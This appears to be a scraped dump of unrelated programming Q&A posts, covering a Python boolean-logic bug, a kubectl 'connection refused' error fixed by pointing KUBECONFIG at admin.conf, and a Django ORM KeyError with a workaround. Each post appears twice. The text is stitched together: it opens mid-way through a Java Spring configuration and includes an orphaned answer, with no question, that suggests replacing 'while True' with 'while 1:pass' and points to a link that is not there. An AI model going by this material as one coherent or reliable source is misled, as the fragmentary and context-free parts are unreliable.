            @Qualifier("dataSource") DataSource dataSource) {
        Map<String, Object> properties = new HashMap<String, Object>();
        properties.put("hibernate.hbm2ddl.auto", hbm2ddl);
        properties.put("hibernate.physical_naming_strategy", "my.package.PhysicalNamingStrategyImpl");
        return builder
                .dataSource(dataSource)
                .packages(PackageScannerHelper.getPackagesToScan())
                .persistenceUnit("shared")
                .properties(properties)
                .build();
    }

    @Primary
    @Bean(name = "transactionManager")
    public PlatformTransactionManager transactionManager(
            @Qualifier("entityManagerFactory") EntityManagerFactory
                    entityManagerFactory
    ) {
        return new JpaTransactionManager(entityManagerFactory);
    }
}


答:
Your Boolean logic is wrong, this:

```<code>userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit() == False
</code>```

boils down to:

```<code>False and True and True == False
</code>```

and that is

```<code>False and True and False
</code>```

which is False, not True.

Title: If statement is True but ELSE gets executed

Body:
Your Boolean logic is wrong, this:

userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit() == False

boils down to:

False and True and True == False

and that is

False and True and False

which is False, not True.


答: Probably you should change the statement of while True to something similar like while 1:pass. More information is found here


问:
kubectl get: The connection to the server localhost:8080 was refused -Kubernetes
Running a baremetal master. Trying to set it up. Looked at the other answers - the hostname is in place - everything. And still...

```<code>[root@kube-future kubernetes]# kubectl get
The connection to the server localhost:8080 was refused - did you
specify the right host or port?
</code>```

UPDATE

```<code>Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:10251         0.0.0.0:*               LISTEN      5854/kube-scheduler
tcp        0      0 127.0.0.1:2379          0.0.0.0:*               LISTEN      5763/etcd
tcp        0      0 127.0.0.1:10252         0.0.0.0:*               LISTEN      5814/kube-controlle
tcp        0      0 127.0.0.1:2380          0.0.0.0:*               LISTEN      5763/etcd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1419/sshd
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1508/master
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN      5531/kubelet
tcp6       0      0 :::10250                :::*                    LISTEN      5531/kubelet
tcp6       0      0 :::6443                 :::*                    LISTEN      5812/kube-apiserver
tcp6       0      0 :::10255                :::*                    LISTEN      5531/kubelet
tcp6       0      0 :::22                   :::*                    LISTEN      1419/sshd
tcp6       0      0 ::1:25                  :::*                    LISTEN      1508/master
</code>```

this is the result of env update 2:

```<code>LC_PAPER=cs_CZ.UTF-8
XDG_SESSION_ID=80
LC_ADDRESS=cs_CZ.UTF-8
HOSTNAME=kube-future
LC_MONETARY=cs_CZ.UTF-8
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
SSH_CLIENT=10.194.4.254 44190 22
LC_NUMERIC=cs_CZ.UTF-8
SSH_TTY=/dev/pts/0
USER=root                               LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:
LC_TELEPHONE=cs_CZ.UTF-8
MAIL=/var/spool/mail/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
LC_IDENTIFICATION=cs_CZ.UTF-8
PWD=/root
LANG=en_US.UTF-8
LC_MEASUREMENT=cs_CZ.UTF-8
HISTCONTROL=ignoredups
SHLVL=1
HOME=/root
no_proxy=$no_proxy,10.194.110.4
LOGNAME=root
SSH_CONNECTION=10.194.4.254 44190 10.194.110.4 22
LESSOPEN=||/usr/bin/lesspipe.sh %s
XDG_RUNTIME_DIR=/run/user/0
LC_NAME=en_US.UTF-8
_=/usr/bin/env
</code>```

kubectl config view --> https://pastebin.com/sgbnyp8F

答:
I had the same. </p>

<p>Running the following command as suggested here solved my problem. </p>

```<code>sudo cp /etc/kubernetes/admin.conf $HOME/
sudo chown $(id -u):$(id -g) $HOME/admin.conf
export KUBECONFIG=$HOME/admin.conf
</code>```

Body:
Running a baremetal master. Trying to set it up. Looked at the other answers - the hostname is in place - everything. And still...

[root@kube-future kubernetes]# kubectl get
The connection to the server localhost:8080 was refused - did you
specify the right host or port?

UPDATE

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:10251         0.0.0.0:*               LISTEN      5854/kube-scheduler
tcp        0      0 127.0.0.1:2379          0.0.0.0:*               LISTEN      5763/etcd
tcp        0      0 127.0.0.1:10252         0.0.0.0:*               LISTEN      5814/kube-controlle
tcp        0      0 127.0.0.1:2380          0.0.0.0:*               LISTEN      5763/etcd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1419/sshd
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1508/master
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN      5531/kubelet
tcp6       0      0 :::10250                :::*                    LISTEN      5531/kubelet
tcp6       0      0 :::6443                 :::*                    LISTEN      5812/kube-apiserver
tcp6       0      0 :::10255                :::*                    LISTEN      5531/kubelet
tcp6       0      0 :::22                   :::*                    LISTEN      1419/sshd
tcp6       0      0 ::1:25                  :::*                    LISTEN      1508/master

this is the result of env update 2:

LC_PAPER=cs_CZ.UTF-8
XDG_SESSION_ID=80
LC_ADDRESS=cs_CZ.UTF-8
HOSTNAME=kube-future
LC_MONETARY=cs_CZ.UTF-8
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
SSH_CLIENT=10.194.4.254 44190 22
LC_NUMERIC=cs_CZ.UTF-8
SSH_TTY=/dev/pts/0
USER=root                               LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:
LC_TELEPHONE=cs_CZ.UTF-8
MAIL=/var/spool/mail/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
LC_IDENTIFICATION=cs_CZ.UTF-8
PWD=/root
LANG=en_US.UTF-8
LC_MEASUREMENT=cs_CZ.UTF-8
HISTCONTROL=ignoredups
SHLVL=1
HOME=/root
no_proxy=$no_proxy,10.194.110.4
LOGNAME=root
SSH_CONNECTION=10.194.4.254 44190 10.194.110.4 22
LESSOPEN=||/usr/bin/lesspipe.sh %s
XDG_RUNTIME_DIR=/run/user/0
LC_NAME=en_US.UTF-8
_=/usr/bin/env

kubectl config view --> https://pastebin.com/sgbnyp8F

Body:
I had the same.

Running the following command as suggested here solved my problem.

sudo cp /etc/kubernetes/admin.conf $HOME/
sudo chown $(id -u):$(id -g) $HOME/admin.conf
export KUBECONFIG=$HOME/admin.conf


问:
KeyError in ORM code when annotating using a Case and aggregating the annotation in a group by
We encountered this issue in a pretty complex project, but I've managed to reproduce it in a dummy project:

This is django 1.11.7 on python3.6 and postgres10:

models.py:

```<code>from django.db import models

class Thing(models.Model):

    multiplierA = models.IntegerField()
    multiplierB = models.IntegerField()

class Data(models.Model):

    thing = models.ForeignKey('Thing')
    multiplier_choice = models.CharField(max_length=1, choices=(('A', 'use multiplier A'), ('B', 'use multiplier B')))
    option = models.IntegerField(choices=((1, 'option 1'), (2, 'option 2')))
    percentage = models.FloatField()
</code>```

tests.py:

```<code>from django.db.models import Case, F, FloatField, IntegerField, Sum, When
from django.test import TestCase

from .models import Data, Thing

class AnnotateTests(TestCase):

    def test_simple(self):

        thing = Thing.objects.create(multiplierA=2, multiplierB=3)

        Data.objects.create(thing=thing, multiplier_choice='A', option=1, percentage=0.2)
        Data.objects.create(thing=thing, multiplier_choice='A', option=2, percentage=0.3)
        Data.objects.create(thing=thing, multiplier_choice='A', option=3, percentage=0.1)

        Data.objects.create(thing=thing, multiplier_choice='B', option=1, percentage=0.1)
        Data.objects.create(thing=thing, multiplier_choice='B', option=2, percentage=0.4)
        Data.objects.create(thing=thing, multiplier_choice='B', option=3, percentage=0.5)

        whens = [
            When(multiplier_choice='A', then=F('thing__multiplierA')),
            When(multiplier_choice='B', then=F('thing__multiplierB'))
        ]

        multiplier_case = Case(*whens, output_field=IntegerField(), default=0)

        qs = (Data.objects
              # select only certain options to sum up for each thing:
              .filter(thing=thing, option__in=[1, 2])
              # select the correct multiplier
              .annotate(multiplier=multiplier_case)
              # group by thing => sum of percentage * multiplier
              .values('thing')
              .annotate(amount_sum=Sum(F('percentage') * F('multiplier')))
              .values('amount_sum'))

        print(qs.values('thing__id', 'amount_sum'))
</code>```

Running this test will result in the following traceback:

```<code>======================================================================
ERROR: test_simple (annotate.tests.AnnotateTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/robin/src/ormweirdness/annotate/tests.py", line 34, in test_simple
    .annotate(amount_sum=Sum(F('percentage') * F('multiplier')))
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/query.py", line 945, in annotate
    clone.query.add_annotation(annotation, alias, is_summary=False)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/sql/query.py", line 973, in add_annotation
    summarize=is_summary)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/aggregates.py", line 19, in resolve_expression
    c = super(Aggregate, self).resolve_expression(query, allow_joins, reuse, summarize)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/expressions.py", line 548, in resolve_expression
    c.source_expressions[pos] = arg.resolve_expression(query, allow_joins, reuse, summarize, for_save)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/expressions.py", line 412, in resolve_expression
    c.rhs = c.rhs.resolve_expression(query, allow_joins, reuse, summarize, for_save)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/expressions.py", line 471, in resolve_expression
    return query.resolve_ref(self.name, allow_joins, reuse, summarize)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/sql/query.py", line 1472, in resolve_ref
    return self.annotation_select[name]
KeyError: 'multiplier'

----------------------------------------------------------------------
</code>```

I've found person that also seemed to have this problem on the django-users mailing list. Unfortunately, no replies.

What is going on here?

答:
Although I still think the above approach should work (bug in the ORM?), I've found that moving the multiplication to the Case statement and using the Case statement directly in the Sum stops this problem because now the Sum doesn't have to do an annotation lookup:

```<code>whens = [
    When(multiplier_choice='A', then=F('thing__multiplierA') * F('percentage')),
    When(multiplier_choice='B', then=F('thing__multiplierB') * F('percentage'))
]

multiplier_case = Case(*whens, output_field=FloatField(), default=0)

data_qs = (Data.objects
           # select only certain options to sum up for each thing:
           .filter(thing=thing, option__in=[1, 2])
           .values('thing')
           # group by thing => sum of percentage * multiplier
           .annotate(amount_sum=Sum(multiplier_case))
           .values('amount_sum')
           .order_by('thing'))
</code>```

which generates the following SQL:

```<code>SELECT SUM(CASE
               WHEN "annotate_data"."multiplier_choice" = A THEN ("annotate_thing"."multiplierA" * "annotate_data"."percentage")
               WHEN "annotate_data"."multiplier_choice" = B THEN ("annotate_thing"."multiplierB" * "annotate_data"."percentage")
               ELSE 0
           END) AS "amount_sum"
FROM "annotate_data"
INNER JOIN "annotate_thing" ON ("annotate_data"."thing_id" = "annotate_thing"."id")
WHERE ("annotate_data"."thing_id" = 1
       AND "annotate_data"."option" IN (1,
                                        2))
GROUP BY "annotate_data"."thing_id"
ORDER BY "annotate_data"."thing_id" ASC
</code>```

If anyone finds a solution that does not imply repeating the whole calculation (which might be far more complex than the one we're doing) inside of each When, I'll accept your answer as the solution :)

Body:
We encountered this issue in a pretty complex project, but I've managed to reproduce it in a dummy project:

This is django 1.11.7 on python3.6 and postgres10:

models.py:

from django.db import models

class Thing(models.Model):

    multiplierA = models.IntegerField()
    multiplierB = models.IntegerField()

class Data(models.Model):

    thing = models.ForeignKey('Thing')
    multiplier_choice = models.CharField(max_length=1, choices=(('A', 'use multiplier A'), ('B', 'use multiplier B')))
    option = models.IntegerField(choices=((1, 'option 1'), (2, 'option 2')))
    percentage = models.FloatField()

tests.py:

from django.db.models import Case, F, FloatField, IntegerField, Sum, When
from django.test import TestCase

from .models import Data, Thing

class AnnotateTests(TestCase):

    def test_simple(self):

        thing = Thing.objects.create(multiplierA=2, multiplierB=3)

        Data.objects.create(thing=thing, multiplier_choice='A', option=1, percentage=0.2)
        Data.objects.create(thing=thing, multiplier_choice='A', option=2, percentage=0.3)
        Data.objects.create(thing=thing, multiplier_choice='A', option=3, percentage=0.1)

        Data.objects.create(thing=thing, multiplier_choice='B', option=1, percentage=0.1)
        Data.objects.create(thing=thing, multiplier_choice='B', option=2, percentage=0.4)
        Data.objects.create(thing=thing, multiplier_choice='B', option=3, percentage=0.5)

        whens = [
            When(multiplier_choice='A', then=F('thing__multiplierA')),
            When(multiplier_choice='B', then=F('thing__multiplierB'))
        ]

        multiplier_case = Case(*whens, output_field=IntegerField(), default=0)

        qs = (Data.objects
              # select only certain options to sum up for each thing:
              .filter(thing=thing, option__in=[1, 2])
              # select the correct multiplier
              .annotate(multiplier=multiplier_case)
              # group by thing => sum of percentage * multiplier
              .values('thing')
              .annotate(amount_sum=Sum(F('percentage') * F('multiplier')))
              .values('amount_sum'))

        print(qs.values('thing__id', 'amount_sum'))

Running this test will result in the following traceback:

======================================================================
ERROR: test_simple (annotate.tests.AnnotateTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/robin/src/ormweirdness/annotate/tests.py", line 34, in test_simple
    .annotate(amount_sum=Sum(F('percentage') * F('multiplier')))
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/query.py", line 945, in annotate
    clone.query.add_annotation(annotation, alias, is_summary=False)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/sql/query.py", line 973, in add_annotation
    summarize=is_summary)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/aggregates.py", line 19, in resolve_expression
    c = super(Aggregate, self).resolve_expression(query, allow_joins, reuse, summarize)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/expressions.py", line 548, in resolve_expression
    c.source_expressions[pos] = arg.resolve_expression(query, allow_joins, reuse, summarize, for_save)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/expressions.py", line 412, in resolve_expression
    c.rhs = c.rhs.resolve_expression(query, allow_joins, reuse, summarize, for_save)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/expressions.py", line 471, in resolve_expression
    return query.resolve_ref(self.name, allow_joins, reuse, summarize)
  File "/Users/robin/.virtualenvs/ormweirdness/lib/python3.6/site-packages/django/db/models/sql/query.py", line 1472, in resolve_ref
    return self.annotation_select[name]
KeyError: 'multiplier'

----------------------------------------------------------------------

I've found person that also seemed to have this problem on the django-users mailing list. Unfortunately, no replies.

What is going on here?

Body:
Although I still think the above approach should work (bug in the ORM?), I've found that moving the multiplication to the Case statement and using the Case statement directly in the Sum stops this problem because now the Sum doesn't have to do an annotation lookup:

whens = [
    When(multiplier_choice='A', then=F('thing__multiplierA') * F('percentage')),
    When(multiplier_choice='B', then=F('thing__multiplierB') * F('percentage'))
]

multiplier_case = Case(*whens, output_field=FloatField(), default=0)

data_qs = (Data.objects
           # select only certain options to sum up for each thing:
           .filter(thing=thing, option__in=[1, 2])
           .values('thing')
           # group by thing => sum of percentage * multiplier
           .annotate(amount_sum=Sum(multiplier_case))
           .values('amount_sum')
           .order_by('thing'))

which generates the following SQL:

SELECT SUM(CASE
               WHEN "annotate_data"."multiplier_choice" = A THEN ("annotate_thing"."multiplierA" * "annotate_data"."percentage")
               WHEN "annotate_data"."multiplier_choice" = B THEN ("annotate_thing"."multiplierB" * "annotate_data"."percentage")
               ELSE 0
           END) AS "amount_sum"
FROM "annotate_data"
INNER JOIN "annotate_thing" ON ("annotate_data"."thing_id" = "annotate_thing"."id")
WHERE ("annotate_data"."thing_id" = 1
       AND "annotate_data"."option" IN (1,
                                        2))
GROUP BY "annotate_data"."thing_id"
ORDER BY "annotate_data"."thing_id" ASC

If anyone finds a solution that does not imply repeating the whole calculation (which might be far more complex than the one we're doing) inside of each When, I'll accept your answer as the solution :)